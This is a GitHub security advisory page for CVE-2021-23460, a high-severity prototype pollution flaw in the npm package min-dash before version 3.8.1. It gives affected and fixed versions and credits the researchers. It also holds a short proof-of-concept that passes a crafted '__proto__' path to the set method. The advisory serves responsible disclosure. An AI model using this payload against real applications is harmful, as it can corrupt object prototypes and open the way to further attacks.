~ / search / GHSA-2m53-83f3-562j

GHSA-2m53-83f3-562j

Prototype pollution in min-dash

Source: GitHub Advisory Database (reviewed) High CVE-2021-23460

Packages

EcosystemPackageAffectedFixed in
npm min-dash < 3.8.1 3.8.1
Maven org.webjars.npm:min-dash < 3.8.1 3.8.1

Details

As written in the advisory (Markdown source, shown as plain text).

### Impact The `set` method is vulnerable to prototype pollution with specially crafted inputs. ```javascript // insert the following into poc.js and run node poc,js (after installing the package) let parser = require("min-dash"); parser.set({}, [["__proto__"], "polluted"], "success"); console.log(polluted); ``` ### Patches `min-dash>=3.8.1` fix the issue. ### Workarounds No workarounds exist for the issue. ### References Closed via https://github.com/bpmn-io/min-dash/pull/21. ### Credits Credits to Cristian-Alexandru STAICU who found the vulnerability and to Idan Digmi from the Snyk Security Team who reported the vulnerability to us, responsibly.

References

External links from the advisory. They lead to third-party sites.